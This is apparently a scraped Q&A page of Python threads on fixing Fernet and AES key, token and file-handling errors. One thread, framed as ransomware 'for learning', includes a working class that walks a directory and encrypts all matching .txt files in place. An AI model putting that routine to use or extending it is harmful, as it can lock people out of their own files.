cryptography.fernet.InvalidToken problem with cryptography - python

Getting this error when trying to run this:
File "Test Files.py", line 502, in decryptdefault
decrypted = fernet.decrypt(d)
File "/usr/lib/python3/dist-packages/cryptography/fernet.py", line 74, in decrypt
timestamp, data = Fernet._get_unverified_token_data(token)
File "/usr/lib/python3/dist-packages/cryptography/fernet.py", line 92, in _get_unverified_token_data
raise InvalidToken
cryptography.fernet.InvalidToken
FYI dk variable is defined with key (default key)
dk = 'niwaXsYbDiAxmLiqRiFbDa_8gHio15sNQ6ZO-sQ0nR4='
# Decrypts the file with default key
def decryptdefault(inclufile):
Key = dk
fernet = Fernet(Key)
readfile = open(inclufile, 'rb')
d = readfile.read()
readfile.close()
# Decrypts and puts it into the text
if readfile != "":
decrypted = fernet.decrypt(d)
decrypted = str(decrypted).replace('b\'', '', 1)
decrypted = decrypted[:-3]
return str(decrypted)
Edit: I added the key for those who asked

I have found out, through trial and error with the same project later down the line, that you need to turn your key into something like this key = b'niwaXsYbDiAxmLiqRiFbDa_8gHio15sNQ6ZO-sQ0nR4='
The main difference being the key is encoded in a utf-8 format and is now readable by Fernet and doesn't return that error. Here is a function that uses Tkinter, Fernet, and os to actually decrypt my file.
# Propriatary method of encrypting files
def decrypt(self, file):
with open(file, 'rb') as readfile:
contents = readfile.read()
self.title(os.path.basename(file) + ' - SecureNote')
# self.textbox is a variable inside of the class I am using for my window
self.textbox.delete(1.0, tk.END)
if contents != "":
# getword retur
Key = bytes(getword('Key:', 1), encoding="utf-8")
fernet = Fernet(Key)
decrypted = fernet.decrypt(contents).decode('utf-8')
self.textbox.insert(1.0, str(decrypted))
del Key
del fernet
else:
pass

Related

I have a python error with the cryptography library. Fernet.decrypt() missing 1 required positional argument: 'token'

I am experimenting with the cryptography library in python. I am getting this error:
Fernet.decrypt() missing 1 required positional argument: 'token'
This error came up while I was trying to decrypt the files. I do not no how to fix this, any suggestions will be appreciated. here is the code:
from cryptography.fernet import Fernet
Key = Fernet.generate_key()
fernet = Fernet(Key)
#with open("filekey.Key", 'wb') as filekey:
# filekey.write(Key)
with open ("filekey.Key", 'rb') as filekey:
Key = filekey.read()
#with open("HHAY.csv" , 'rb') as infile:
# original = infile.read()
#enc = fernet.encrypt(original)
#with open("HHAYenc.csv", 'wb') as encfile:
#encfile.write(enc)
with open("HHAYenc.csv",'rb') as encrypted_file:
encrypted = encrypted_file.read()
decrypted = Fernet.decrypt(encrypted)
with open("decHHAY.csv", 'wb') as decrypted_file:
decrypted_file.write(decrypted)
The encryption works but the decryption doesn't.
When you write:
decrypted = Fernet.decrypt(encrypted)
You meant:
decrypted = fernet.decrypt(encrypted)
Note the change in capitalization (Fernet -> fernet). You are erroneously calling the class rather than your instance variable.
This code runs without errors:
from cryptography.fernet import Fernet
Key = Fernet.generate_key()
fernet = Fernet(Key)
# Save key to a file
with open("filekey.Key", "wb") as filekey:
filekey.write(Key)
# Read key from a file
with open("filekey.Key", "rb") as filekey:
Key = filekey.read()
# Create example file "example.txt"
with open("example.txt", "w", encoding="utf8") as sample:
sample.write("This is a test.\n")
# Read data from "example.txt"
with open("example.txt", "rb") as infile:
original = infile.read()
# Encrypt data
encrypted = fernet.encrypt(original)
# Write encrypted data to "example.enc"
with open("example.enc", "wb") as encfile:
encfile.write(encrypted)
# Read encrypted data from "example.enc"
with open("example.enc", "rb") as encrypted_file:
encrypted = encrypted_file.read()
# Decrypt data
decrypted = fernet.decrypt(encrypted)
# Write decrypted data to "example.dec"
with open("example.dec", "wb") as decrypted_file:
decrypted_file.write(decrypted)

Decrypt message with cryptography.fernet do not work

I just tried my hand at encrypting and decrypting data. I first generated a key, then encrypted data with it and saved it to an XML file. Now this data is read and should be decrypted again.
But now I get the error message "cryptography.fernet.InvalidToken".
import xml.etree.cElementTree as ET
from cryptography.fernet import Fernet
from pathlib import Path
def load_key():
"""
Load the previously generated key
"""
return open("../login/secret.key", "rb").read()
def generate_key():
"""
Generates a key and save it into a file
"""
key = Fernet.generate_key()
with open("../login/secret.key", "wb") as key_file:
key_file.write(key)
def decrypt_message(encrypted_message):
"""
Decrypts an encrypted message
"""
key = load_key()
f = Fernet(key)
message = encrypted_message.encode('utf-8')
decrypted_message = f.decrypt(message)
return(decrypted_message)
def decryptMessage(StringToDecrypt):
decryptedMessage = decrypt_message(StringToDecrypt)
return decryptedMessage
def loginToRoster(chrome):
credentials = readXML()
user = decryptMessage(credentials[0])
pw = decryptMessage(credentials[1])
userName = chrome.find_element_by_id('UserName')
userName.send_keys(user)
password = chrome.find_element_by_id('Password')
password.send_keys(pw)
In the tuple "credentials" there are 2 encrypted strings.
Please help - have already tried everything to change the formats, but no chance.
Edit:
Errormessage:
Traceback (most recent call last):
File "C:/Users/r/Documents/GitHub/ServiceEvaluationRK/source/main.py", line 27, in <module>
login.loginToRoster(chrome)
File "C:\Users\r\Documents\GitHub\ServiceEvaluationRK\source\login.py", line 106, in loginToRoster
user = decryptMessage(credentials[0])
File "C:\Users\r\Documents\GitHub\ServiceEvaluationRK\source\login.py", line 49, in decryptMessage
decryptedMessage = decrypt_message(StringToDecrypt)
File "C:\Users\r\Documents\GitHub\ServiceEvaluationRK\source\login.py", line 43, in decrypt_message
decrypted_message = f.decrypt(message)
File "C:\Users\r\Documents\GitHub\ServiceEvaluationRK\venv\lib\site-packages\cryptography\fernet.py", line 75, in decrypt
timestamp, data = Fernet._get_unverified_token_data(token)
File "C:\Users\r\Documents\GitHub\ServiceEvaluationRK\venv\lib\site-packages\cryptography\fernet.py", line 107, in _get_unverified_token_data
raise InvalidToken
cryptography.fernet.InvalidToken
I found an answer to my problem:
I took ASCII instead of utf-8. And I added a .decode('ASCII') at the function "loginToRoster" to both variables 'user' and 'pw'
Now the encryption and decryption works fine.
So, the 'loginToRoster' functions looks like:
def loginToRoster(chrome):
credentials = readXML()
user = decryptMessage(credentials[0]).decode('ASCII')
pw = decryptMessage(credentials[1]).decode('ASCII')
userName = chrome.find_element_by_id('UserName')
userName.send_keys(user)
password = chrome.find_element_by_id('Password')
password.send_keys(pw)
Where have you defined load_key() in the decrypt_message function. It's not a method it's just a undefined function. You're probably getting that error since the key is invalid because you're not getting the one you saved.

Python cryptography.fernet file decrypt

I am working on Ransomware for learning.
So I Copy-and-pasted this and edited it like this
but When I encrypt and decrypt a text file, it appends a string that looks like a random string. How can I fix this issue?
like:
Hello, World!
to
Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==
with this keyfile:
aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=
the problem is that you encrypt then decrypt. Your encryption and decryption function is working fine the issue is that you always seek to the beginning of the file to write any changes this will work fine with encryption and will work fine with decryption if the the plaintext and ciphertext is of same size(no padding) but will place decrypted plaintext that is not as same same size of ciphertext at beginning of file and leave the rest of file unchanged so you need to truncate the remainder part of ciphertext.
import os
from os.path import expanduser
from cryptography.fernet import Fernet
class Ransomware(object):
def __init__(self):
self.key = None
self.cryptor = None
self.file_ext_targets = ["txt"] # Type of files, you're going to encrypt
def generate_key(self):
self.key = Fernet.generate_key()
self.cryptor = Fernet(self.key)
def read_key(self, keyfile_name):
with open(keyfile_name, "rb") as f:
self.key = f.read()
self.cryptor = Fernet(self.key)
def write_key(self, keyfile_name):
print(self.key)
with open(keyfile_name, "wb") as f:
f.write(self.key)
def crypt_root(self, root_dir, encrypted=False):
for root, _, files in os.walk(root_dir):
for f in files:
abs_file_path = os.path.join(root, f)
if not abs_file_path.split(".")[-1] in self.file_ext_targets:
continue
self.crypt_file(abs_file_path, encrypted=encrypted)
def crypt_file(self, file_path, encrypted=False):
with open(file_path, "rb+") as f:
_data = f.read()
if not encrypted:
# Encrypt
print()
data = self.cryptor.encrypt(_data)
f.seek(0)
f.write(data)
else:
data = self.cryptor.decrypt(_data)
print(f"File content before encryption: {data}")
f.seek(0)
f.write(data)
f.truncate()
sys_root = expanduser("~")
local_root = "."
keyfile = "./keyfile"
ransom = Ransomware()
def encrypt():
ransom.generate_key()
ransom.write_key("keyfile")
ransom.crypt_root(local_root)
def decrypt():
ransom.read_key(keyfile)
ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()

How do I resolves the Fernet key error in python?

I am trying to encrypt Passwords but the function below
def Get_En_PassID():
Filename = 'Login_Token.bin'
if os.path.exists(Filename):
with open(Filename, 'rb') as file_object:
for line in file_object:
encryptedpwd = line.decode('utf-8')
key = encryptedpwd
print(key)
#return encryptedpwd
else:
PW = "encrypted message"
cipher_suite = Fernet(Fernet.generate_key())
#ciphered_text = cipher_suite.encrypt(bytes(PW,'utf-8')) #required to be bytes
ciphered_text = cipher_suite.encrypt(PW.encode('utf-8')) #required to be bytes
with open(Filename, 'wb') as file_object: file_object.write(ciphered_text)
key = ciphered_text
#return ciphered_text
f = Fernet(key)
p = f.decrypt(key)
print(p)
only returning ValueError: Fernet key must be 32 url-safe base64-encoded bytes.
Can you tell me what I'm doing wrong?
I've seen a different question with similar problem and I've tried it but it's still giving this error
the token that's in the file : gAAAAABfpT0o0lcFJnvTUFmPvwEnrkX7-PK2Bs4t---QDK...b7XdJEr40nJnFAfNM=

ValueError: AES key must be either 16, 24, or 32 bytes long PyCrypto 2.7a1

I'm making programm for my school project and have one problem above.
Here's my code:
def aes():
#aes
os.system('cls')
print('1. Encrypt')
print('2. Decrypt')
c = input('Your choice:')
if int(c) == 1:
#cipher
os.system('cls')
print("Let's encrypt, alright")
print('Input a text to be encrypted')
text = input()
f = open('plaintext.txt', 'w')
f.write(text)
f.close()
BLOCK_SIZE = 32
PADDING = '{'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
secret = os.urandom(BLOCK_SIZE)
f = open('aeskey.txt', 'w')
f.write(str(secret))
f.close()
f = open('plaintext.txt', 'r')
privateInfo = f.read()
f.close()
cipher = AES.new(secret)
encoded = EncodeAES(cipher, privateInfo)
f = open('plaintext.txt', 'w')
f.write(str(encoded))
f.close()
print(str(encoded))
if int(c) == 2:
os.system('cls')
print("Let's decrypt, alright")
f = open('plaintext.txt','r')
encryptedString = f.read()
f.close()
PADDING = '{'
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
encryption = encryptedString
f = open('aeskey.txt', 'r')
key = f.read()
f.close()
cipher = AES.new(key)
decoded = DecodeAES(cipher, encryption)
f = open('plaintext.txt', 'w')
f.write(decoded)
f.close()
print(decoded)
Full error text:
Traceback (most recent call last): File "C:/Users/vital/Desktop/Prog/Python/Enc_dec/Enc_dec.py", line 341, in aes()
File "C:/Users/vital/Desktop/Prog/Python/Enc_dec/Enc_dec.py", line 180, in aes cipher = AES.new(key)
File "C:\Users\vital\AppData\Local\Programs\Python\Python35-32\lib\site-packages\Crypto\Cipher\AES.py", line 179, in new return AESCipher(key, *args, **kwargs)
File "C:\Users\vital\AppData\Local\Programs\Python\Python35-32\lib\site-packages\Crypto\Cipher\AES.py", line 114, in init blockalgo.BlockAlgo.init(self, _AES, key, *args, **kwargs)
File "C:\Users\vital\AppData\Local\Programs\Python\Python35-32\lib\site-packages\Crypto\Cipher\blockalgo.py", line 401, in init self._cipher = factory.new(key, *args, **kwargs)
ValueError: AES key must be either 16, 24, or 32 bytes long
Process finished with exit code 1
What am I doing wrong?
The error is very clear. The key must be exactly of that size. os.urandom will return you the correct key. However this key is a bytes (binary string value). Furthermore, by using str(secret), the value of repr(secret) is written into the file instead of secret.
What is more confusing is that AES.new allows you to pass the key as Unicode! However, suppose the key was the ASCII bytes 1234123412341234. Now,
f.write(str(secret))
will write b'1234123412341234' to the text file! Instead of 16 bytes, it now contains those 16 bytes + the b, and two ' quote characters; 19 bytes in total.
Or if you take a random binary string from os.urandom,
>>> os.urandom(16)
b'\xd7\x82K^\x7fe[\x9e\x96\xcb9\xbf\xa0\xd9s\xcb'
now, instead of writing 16 bytes D7, 82,.. and so forth, it now writes that string into the file. And the error occurs because the decryption tries to use
"b'\\xd7\\x82K^\\x7fe[\\x9e\\x96\\xcb9\\xbf\\xa0\\xd9s\\xcb'"
as the decryption key, which, when encoded as UTF-8 results in
b"b'\\xd7\\x82K^\\x7fe[\\x9e\\x96\\xcb9\\xbf\\xa0\\xd9s\\xcb'"
which is a 49-bytes long bytes value.
You have 2 good choices. Either you continue to write your key to a text file, but convert it to hex, or write the key into a binary file; then the file should be exactly the key length in bytes. I am going for the latter here:
Thus for storing the key, use
with open('aeskey.bin', 'wb') as keyfile:
keyfile.write(secret)
and
with open('aeskey.bin', 'rb') as keyfile:
key = keyfile.read()
Same naturally applies to the cipher text (that is the encrypted binary), you must write and read it to and from a binary file:
with open('ciphertext.bin', 'wb') as f:
f.write(encoded)
and
with open('ciphertext.bin', 'rb') as f:
encryptedString = f.read()
If you want to base64-encode it, do note that base64.b64encode/decode are bytes-in/bytes-out.
By the way, plaintext is the original, unencrypted text; the encrypted text is called ciphertext. AES is a cipher that can encrypt plaintext to ciphertext and decrypt ciphertext to plaintext using a key.
Despite these being called "-text" neither of them is textual data per se, as understood by Python, but they're binary data, and should be represented as bytes.

Categories